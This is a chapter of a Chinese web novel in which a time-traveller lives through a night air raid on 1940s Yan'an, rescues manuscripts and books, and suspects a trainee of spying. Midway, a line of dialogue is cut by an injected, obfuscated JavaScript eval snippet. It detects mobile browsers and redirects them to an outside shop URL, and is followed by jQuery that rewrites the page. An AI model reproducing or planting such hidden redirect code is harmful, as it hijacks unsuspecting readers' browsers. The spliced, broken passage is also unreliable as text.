二月中的一天，凌晨四点，尖锐的防空警报突然撕裂了延安的夜空。


    林晏从梦中惊醒，第一反应是抓起枕边的挎包——里面有教材稿、沈擎苍的小册子、还有几封重要的信。他迅速穿上衣服，冲出窑洞。


    招待所外的空地上已经聚集了不少人。学员们穿着不整的军装，有的还在系扣子，但每个人脸上都带着训练有素的镇定。没有慌乱，没有喊叫，只有迅速集结的队伍和压低声音的口令。


    “空袭警报！所有人按预案疏散！”值班干部喊道，“□□带学员，按编组进入防空洞！”


    林晏被编入抗大□□的队伍，负责带领特别班的部分学员。他在人群中找到了陈望、王大山和张连长——他们各自带着自己的小组，已经在清点人数。


    “林□□，这边！”陈望招手。


    林晏跑过去，发现特别班的二十名学员已经基本到齐，只有一人未到。


    “谁没来？”


    “刘振国。”王大山沉声说，“他住在山那头的窑洞，可能没听到警报。”


    “我去找。”张连长转身要走。


    “不行！”林晏拦住他，“按预案，各组管各组，不能单独行动。如果十分钟后他还没到，我们按缺员处理，先撤离。”


    这是防空预案的规定——在空袭威胁下，不能因为个别人耽误整体的安全。虽然残酷，但必要。


    学员们沉默地接受了这个决定。没有人提出异议，但林晏能看到他们眼中的担忧。


    远处传来隐约的引擎声。是飞机。


    “所有人，跟我来！”林晏一挥手，带着队伍向最近的防空洞跑去。


    防空洞挖在山体里，入口狭窄，但里面空间很大，能容纳上百人。洞里已经点起了几盏煤油灯，昏黄的光线下，挤满了先到的人员。空气混浊，但秩序井然——老人孩子被安排在最里面，伤员有专门的区域，军人和干部负责维持秩序。


    林晏带着学员们在靠洞口的位置坐下。这里空气好些，但也更危险——如果炸弹直接命中洞口，这里首当其冲。


    “大家保持安静，不要挤，不要慌。”林晏低声说，同时清点人数。十九人，还是缺刘振国。


    引擎声越来越近，像一群巨大的铁蜂在夜空中盘旋。所有人都屏住了呼吸。


    突然，外面传来“轰”的一声巨响，地面剧烈震动，洞顶簌簌落下泥土。紧接着是第二声、第三声……爆炸声连绵不绝，震耳欲聋。


    煤油灯在震动中摇晃，光影乱颤。有孩子开始哭泣，被母亲紧紧捂住嘴。


    林晏靠在洞壁上，感受着大地的颤抖。这是他来到这个时代后，第一次经历空袭。在山西前线，更多的是地面战斗，偶尔有飞机扫射，但这样规模的轰炸，还是第一次。


    每一次爆炸，都像一记重锤砸在心上。他不由自主地想起2026年——那个和平的年代，空袭只存在于历史书和电影里。而现在，他亲身坐在防空洞里，听着炸弹落下，不知道下一颗会不会落在头顶。


    一只粗糙的手按在他肩膀上。


    是张连长。这个老兵脸上没有任何恐惧，只有一种近乎冷酷的平静。


    “第一次经历轰炸？”他问，声音在爆炸的间隙里几乎听不见。


    林晏点点头。


    “习惯就好。”张连长说，“鬼子就这点本事，炸完了还得靠步兵来占。炸不垮我们。”


    这话简单，但有一种坚实的力量。林晏深吸一口气，强迫自己镇定下来。


    爆炸持续了大约二十分钟，然后渐渐远去。引擎声消失在夜空中，留下一片死寂。


    又等了十分钟，确认没有后续攻击，洞口的警戒哨才发出信号：“警报解除！注意余爆，有序撤离！”


    人群开始缓缓向外移动。林晏让学员们先检查装备，然后按小组依次出洞。


    走出防空洞，眼前的景象让林晏倒吸一口凉气。


    天色已经微明，晨光中，原本散布在山坡上的窑洞，有十几处变成了焦黑的废墟，还在冒着浓烟。被炸断的树木横七竖八地倒着，地面上是一个个巨大的弹坑。空气中弥漫着硝烟和尘土的味道，还有隐约的烧焦气息。


    但更让人震撼的，是人们的反应。


    没有哭喊，没有慌乱。从各个防空洞出来的人们，迅速组织起来：民兵和青壮年开始扑灭余火，妇女们照顾伤员，孩子们被集中到安全区域。抗大的学员们自动编成救援队，在□□的带领下奔向受灾最严重的地方。


    “特别班，集合！”林晏喊道。


    十九名学员迅速列队。每个人的脸上都沾着尘土，但眼神坚定。


    “王大山，你带五个人去三号区域，协助扑火。”


    “张连长，你带五个人去医疗站，帮忙搬运伤员。”


    “陈望，你带剩下的人，跟我去查清损失情况，特别是教材和资料的损毁情况。”


    “是！”


    队伍迅速分散。林晏带着陈望等五人，先奔回招待所。


    招待所的窑洞幸运地没有被直接命中，但强烈的震动震塌了半边墙，里面的东西被埋在土石下。林晏的心沉了下去——他的教材稿还在里面。


    “挖！”他简短下令。


    六个人开始用手刨土石。没有工具，就用手。指甲很快劈了，渗出血，但没人停下。


    十分钟后，他们挖出了第一个箱子——是林晏装教材稿的木箱，已经被砸变形，但还完整。林晏颤抖着手打开箱盖。


    油布包裹的稿件静静地躺在里面，除了边缘有些泥土，基本完好。


    他松了口气，把箱子抱出来。


    “还有其他□□的资料，继续挖！”


    又挖了半小时，他们挖出了大部分重要的书籍和文件。有些被水浸湿了，有些沾了泥土，但大部分还能用。


    “林□□！”一个学员抱着几本烧焦边缘的书跑过来，“图书馆那边……被炸了。”


    林晏心头一紧：“严重吗？”


    “不清楚，正在抢救。”


    “陈望，你们继续在这里清理。我去图书馆看看。”


    林晏抱着自己的箱子，奔向抗大方向。一路上，他看到了更多的损毁：一个合作社被炸平了，好在夜里没人；一处宿舍窑洞坍塌，救援人员正在拼命刨挖；路边，几个卫生员在紧急处理伤员，白色的绷带很快被血染红。


    这就是战争。不是远方的炮声，是眼前的废墟和鲜血。


    抗大图书馆的情况比预想的要好。炸弹落在了窑洞前二十米处，炸出一个大坑，冲击波震塌了门廊和部分外墙，但主体结构还在。几十个学员和□□正在里面抢救书籍，用最快的速度把书搬出来，堆在空地上。


    “林晏同志！”图书馆管理员满脸黑灰，眼镜碎了一片，但还在指挥，“快来帮忙！重点是军事类和内部资料！”


    林晏把箱子放在安全处，加入了搬运队伍。


    书很重，烟尘很大，但没有人说话，只有急促的脚步声和搬书的沙沙声。大家排成两列，像传送带一样把书从里面传到外面。有人被掉落的土块砸中，简单包扎一下继续干；有人吸入太多烟尘咳嗽不止，喝口水又冲进去。


    一个小时后，大部分书籍被抢救出来。林晏累得几乎直不起腰，手上全是伤口和血泡，但他和其他人一样，只是喘口气，又去整理散落的书。


    “清点损失！”管理员喊道。


    初步统计：图书馆藏书损失约三分之一，主要是被倒塌的墙壁压毁和烟尘水渍损坏。但军事类和内部资料，因为放在最里面的书架上，受损相对较轻。


    “不幸中的万幸。”管理员瘫坐在地上，苦笑着说。


    林晏点点头，目光扫过那些抢救出来的书。忽然，他看到了那本日文原版的《□□战场之特殊战例研究》——书脊被烟熏黑了，但还完整。


    他走过去，拿起书，翻开。


    那页批注还在。在昏暗的晨光下，铅笔字迹更加清晰：“以上战例，皆可归因于时间规律之固化。若破此律，则反制失效。”


    林晏盯着这行字，忽然想到一个问题：空袭发生在这个时间——凌晨四点。这是人们睡得最沉的时候，也是防空最薄弱的时候。


    敌人选择了这个时间，是不是也在运用“反常规”的思维？


    如果是，那这次空袭就不只是简单的轰炸，而是一次精心策划的“时间战法”实践。


    这个想法让他脊背发凉。


    “林□□！”陈望气喘吁吁地跑过来，“找到刘振国了！”


    林晏合上书：“他在哪？受伤了吗？”


    “他……”陈望的表情很奇怪，“他没受伤。但他不在自己的窑洞里。我们是在后山一个废弃的观察哨找到他的。他说……他在那里观察星星，没听到警报。”


    观察星星？凌晨四点？


    林晏心里警铃大作。


    “带我去见他。”


    刘振国是个二十出头的年轻人，从抗大普通班选调进特别班的。平时话不多，学习认真，但也没什么特别突出的表现。此刻他站在后山的观察哨——一个半塌的土台子上，衣服上沾着露水，脸上确实没有受伤的痕迹。


    “林□□，我……”刘振国看到林晏，显得有些紧张。


    “你为什么在这里？”林晏直接问。


    “我……我喜欢天文学。”刘振国说，“凌晨四点能看到金星和土星的特殊位置，我昨晚就计划好要来看。没想到遇到空袭……”


    这个解释听起来合理。但林晏注意到几个细节：刘振国的手很干净，没有挖土救人的痕迹；他的衣服虽然沾了露水，但很整齐，不像在防空洞里挤过的样子；最重要的是，他的眼神在躲闪。


    “空袭警报响了至少五分钟，你真的没听到？”林晏盯着他。


    “我……我太专注了，可能没注意。”刘振国低下头。


    “你一个人来的？”


    “是。”


    “有谁能证明？”


    “没有。”


    对话陷入了僵局。林晏知道，没有证据，不能轻易下结论。但他心里的怀疑越来越重。


    “先归队吧。”他最终说，“参与救援工作。”


    “是。”


    刘振国离开后，陈望小声问：“林□□，你怀疑他？”


    “只是觉得有些巧合。”林晏没有多说，“但记住，没有证据之前，不要乱说。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144213|196318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    继续工作。”


    “明白。”


    救援和清理工作持续了一整天。到傍晚时分，初步的损失统计出来了：延安城区及周边共遭轰炸二十七处，损毁窑洞四十三孔，伤亡八十七人（其中牺牲二十三人），物资损失还在统计中。


    这是延安自成为根据地以来，遭受的最严重的一次空袭。


    晚上，总政治部召开紧急会议。林晏作为抗大□□代表之一参加了。


    会议气氛沉重。首先通报了损失情况，然后分析了这次空袭的特点：


    “敌人出动了十二架轰炸机，从山西运城机场起飞。航线避开了我们的常规防空区域，选择了夜间超低空飞行，抵达时间精确在凌晨四点——这是我们防空最薄弱的时间。”作战参谋指着地图说，“更值得注意的是，轰炸目标很有针对性：抗大教学楼、图书馆、印刷厂、还有几个重要的物资仓库。这说明敌人对我们的布局非常了解。”


    “有没有可能是内奸提供了情报？”一位干部问。


    “不排除这种可能。”参谋说，“我们正在排查。但还有一种可能——敌人通过长期观察和空中侦察，已经摸清了我们的活动规律。比如，他们知道印刷厂只在白天工作，所以凌晨轰炸能造成最大破坏；知道图书馆的位置和重要性……”


    “这是时间战法的反面应用。”林晏忽然开口。


    所有人都看向他。


    “敌人利用了我们的时间规律。”林晏站起来，走到地图前，“我们的作息时间、工作节奏、防空换岗时间……这些都是规律。敌人选择在最不可能的时间发动攻击，达到了最大的突然性。”


    窑洞里一片沉默。


    “林晏同志说得对。”主持会议的首长缓缓说，“这次空袭给我们上了一课：战争是双向的。我们研究敌人，敌人也在研究我们。我们的‘时间战法’如果被敌人掌握并反用，后果很严重。”


    他看向林晏：“你的教材里，有没有讲到如何防范这种情况？”


    “有。”林晏说，“在‘反情报’章节，我提到了‘规律的反规律化’——即定期改变作息、工作节奏、防御部署的时间规律，让敌人无法建立有效的预测模型。但……这一部分还只是理论，没有在延安全面推行。”


    “那就从现在开始推行。”首长果断地说，“抗大、机关、重要设施，全部实行‘随机作息’制度。防空哨的换岗时间、重要物资的运输时间、甚至开会的时间，都要打破规律。我们要让敌人摸不清我们的节奏。”


    会议通过了这个决定。同时，也决定加强内部安全排查，特别是对能接触到核心信息和重要设施布局的人员。


    散会后，秦科长找到林晏。


    “关于刘振国，”他低声说，“我们查了他的背景。他确实是抗大学员，档案清白。但有一个细节：他入伍前在北平读书时，参加过一些‘天文爱好者社团’。而根据北平地下党的情报，有些这样的社团，被日方特务渗透了。”


    林晏心里一沉：“所以他有嫌疑？”


    “嫌疑很大，但没有确凿证据。”秦科长说，“我们会继续监控。但在那之前，你要注意——他是你的学员，你和他接触的机会多。要不动声色地观察，但不要打草惊蛇。”


    “我明白。”


    “还有一件事。”秦科长表情更加严肃，“从这次空袭的精准度来看，敌人很可能有地面人员引导。也就是说，延安内部可能不止一个内奸。你要格外小心。”


    不止一个。


    林晏感到一阵寒意。他想起了图书馆的批注，想起了大卫·史密斯的论文，想起了教材内容的泄露。这一切，可能都是一个网络的一部分。


    而他现在，就在这个网络的中心。


    回到招待所时，天已经完全黑了。窑洞里的煤油灯还没修好，林晏点起蜡烛，在昏黄的光线下检查教材稿。


    还好，基本完好。他坐下来，开始修订“反情报”章节，把今天的教训写进去：


    “案例：194X年X月X日凌晨，延安遭空袭。敌利用我方固定作息规律，选择防空最薄弱时间攻击，造成严重损失。教训：时间规律的固化，等于为敌人提供攻击时刻表……”


    他写得很慢，每一个字都像刻在心里。


    写到一半，他停下来，看着摇曳的烛光。


    这个时代，没有什么是安全的。窑洞会被炸，书会被烧，人会牺牲。连时间本身，都可能成为敌人的武器。


    但正因如此，才要坚持。


    坚持记录，坚持思考，坚持把血换来的教训变成文字，传给后来的人。


    这是他的战场。用笔，用思想，用那些在轰炸中抢救出来的、沾着泥土和鲜血的纸页。


    林晏低下头，继续写。


    窗外，夜色深重。但远方的山坡上，已经有人在点起火把，开始重建被炸毁的窑洞。一点一点的光，在黑暗中倔强地亮起来。


    像这个民族，这个时代，在废墟中一次又一次站起来的坚韧。


    像黎明前最深沉的黑暗里，那些不肯熄灭的微光。


    林晏写。


    烛光摇曳，把他的影子投在墙上，像一个沉默的、坚持的战士。